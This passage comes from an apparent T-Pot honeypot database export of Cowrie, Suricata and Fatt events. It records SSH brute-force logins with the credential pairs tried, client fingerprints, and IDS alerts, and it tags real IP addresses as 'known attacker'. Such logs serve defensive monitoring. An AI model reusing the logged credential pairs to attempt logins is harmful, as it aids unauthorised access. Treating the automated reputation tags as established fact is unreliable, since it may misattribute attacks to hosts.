"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	CN
35602	2.20.149.232	109.199.241.180	Suricata	2021-09-20 15:09:40.908157+03	2021-09-20 15:15:03.480692+03	{"_id": "UwYcA3wBvYTbRNuEp11W", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:09:40.859747+0000", "pkts_toclient": 0, "pkts_toserver": 2, "bytes_toclient": 0, "bytes_toserver": 120}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "2.20.149.232", "asn": 20940, "as_org": "Akamai International B.V.", "latitude": 47.0, "location": {"lat": 47.0, "lon": 8.0}, "timezone": "Europe/Vaduz", "longitude": 8.0, "continent_code": "EU"}, "proto": "TCP", "src_ip": "2.20.149.232", "stream": 0, "dest_ip": "192.168.20.147", "flow_id": 806519595867747, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 62514, "timestamp": "2021-09-20T12:09:40.908157Z", "@timestamp": "2021-09-20T12:09:40.908Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
35605	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 15:09:43.790496+03	2021-09-20 15:15:03.484702+03	{"_id": "VgYcA3wBvYTbRNuEsV3v", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "647a847dec67", "@version": "1", "duration": 3.46932315826416, "timestamp": "2021-09-20T12:09:43.790496Z", "@timestamp": "2021-09-20T12:09:43.790Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	CN
35606	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 15:09:35.342536+03	2021-09-20 15:15:03.485689+03	{"_id": "FwYcA3wBvYTbRNuEjl29", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/99] failed", "session": "0cc2335b7c4d", "@version": "1", "password": "99", "username": "root", "timestamp": "2021-09-20T12:09:35.342536Z", "@timestamp": "2021-09-20T12:09:35.342Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	CN
35607	192.168.20.147	109.199.241.180	Suricata	2021-09-20 15:09:35.821507+03	2021-09-20 15:15:03.48669+03	{"_id": "GQYcA3wBvYTbRNuEj13j", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T12:09:35.821507Z", "@timestamp": "2021-09-20T12:09:35.821Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
35608	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 15:09:36.603897+03	2021-09-20 15:15:03.48869+03	{"_id": "GgYcA3wBvYTbRNuEll2O", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.session.closed", "message": "Connection lost after 5 seconds", "session": "0cc2335b7c4d", "@version": "1", "duration": 5.462870836257935, "timestamp": "2021-09-20T12:09:36.603897Z", "@timestamp": "2021-09-20T12:09:36.603Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	CN
35609	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 15:09:39.374362+03	2021-09-20 15:15:03.48969+03	{"_id": "HAYcA3wBvYTbRNuEnl1e", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.173.209.238", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 107.173.209.238:44098 (192.168.176.2:22) [session: 9fc59c8db3f6]", "session": "9fc59c8db3f6", "@version": "1", "protocol": "ssh", "src_port": 44098, "dest_port": 22, "timestamp": "2021-09-20T12:09:39.374362Z", "@timestamp": "2021-09-20T12:09:39.374Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	US
35610	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 15:09:39.380846+03	2021-09-20 15:15:03.490691+03	{"_id": "HQYcA3wBvYTbRNuEnl1e", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.173.209.238", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "9fc59c8db3f6", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:09:39.380846Z", "@timestamp": "2021-09-20T12:09:39.380Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	US
35611	107.173.209.238	109.199.241.180	Suricata	2021-09-20 15:09:39.512388+03	2021-09-20 15:15:03.49169+03	{"_id": "IAYcA3wBvYTbRNuEn12E", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "107.173.209.238", "dest_ip": "192.168.20.116", "flow_id": 395811200693549, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 44098, "dest_port": 22, "timestamp": "2021-09-20T12:09:39.512388Z", "@timestamp": "2021-09-20T12:09:39.512Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	US
35612	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:09:39.51245+03	2021-09-20 15:15:03.49269+03	{"_id": "KwYcA3wBvYTbRNuEoF3K", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "107.173.209.238", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 44098, "timestamp": "2021-09-20T12:09:39.512450", "@timestamp": "2021-09-20T12:09:39.512Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
35613	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 15:09:39.518427+03	2021-09-20 15:15:03.49469+03	{"_id": "HgYcA3wBvYTbRNuEnl1e", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "107.173.209.238", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "9fc59c8db3f6", "@version": "1", "timestamp": "2021-09-20T12:09:39.518427Z", "@timestamp": "2021-09-20T12:09:39.518Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	US
35614	107.173.209.238	109.199.241.180	Suricata	2021-09-20 15:09:39.518206+03	2021-09-20 15:15:03.495691+03	{"_id": "HwYcA3wBvYTbRNuEn12E", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:09:39.193837+0000", "pkts_toclient": 4, "pkts_toserver": 5, "bytes_toclient": 887, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "107.173.209.238", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 395811200693549, "payload": "AAADzAYUTlU66bFZ2zkglSZNv5KPegAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 44098, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:09:39.518206Z", "@timestamp": "2021-09-20T12:09:39.518Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......NU:..Y.9 .&M...z...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	US
35615	160.44.201.156	109.199.241.180	Fatt	2021-09-20 15:09:40.960123+03	2021-09-20 15:15:03.49769+03	{"_id": "TwYcA3wBvYTbRNuEpF22", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 36156, "timestamp": "2021-09-20T12:09:40.960123", "@timestamp": "2021-09-20T12:09:40.960Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	DE
35616	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:09:40.919623+03	2021-09-20 15:15:03.498691+03	{"_id": "SAYcA3wBvYTbRNuEpF22", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 36156, "dest_port": 443, "timestamp": "2021-09-20T12:09:40.919623", "@timestamp": "2021-09-20T12:09:40.919Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
35617	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 15:09:41.461699+03	2021-09-20 15:15:03.49969+03	{"_id": "UQYcA3wBvYTbRNuEpl00", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.173.209.238", "eventid": "cowrie.login.failed", "message": "login attempt [admin/youcef] failed", "session": "9fc59c8db3f6", "@version": "1", "password": "youcef", "username": "admin", "timestamp": "2021-09-20T12:09:41.461699Z", "@timestamp": "2021-09-20T12:09:41.461Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	US
35618	107.173.209.238	109.199.241.180	Fatt	2021-09-20 15:09:39.518206+03	2021-09-20 15:15:03.50169+03	{"_id": "LAYcA3wBvYTbRNuEoF3K", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "src_ip": "107.173.209.238", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 44098, "dest_port": 22, "timestamp": "2021-09-20T12:09:39.518206", "@timestamp": "2021-09-20T12:09:39.518Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	US
35619	87.251.67.120	109.199.241.180	Suricata	2021-09-20 15:09:45.166368+03	2021-09-20 15:15:03.502691+03	{"_id": "XgYcA3wBvYTbRNuEtl34", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:09:45.086901+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "87.251.67.120", "asn": 20803, "as_org": "AB-Telecom Ltd.", "latitude": 47.0188, "location": {"lat": 47.0188, "lon": 28.8128}, "timezone": "Europe/Chisinau", "longitude": 28.8128, "country_name": "Republic of Moldova", "country_code2": "MD", "country_code3": "MD", "continent_code": 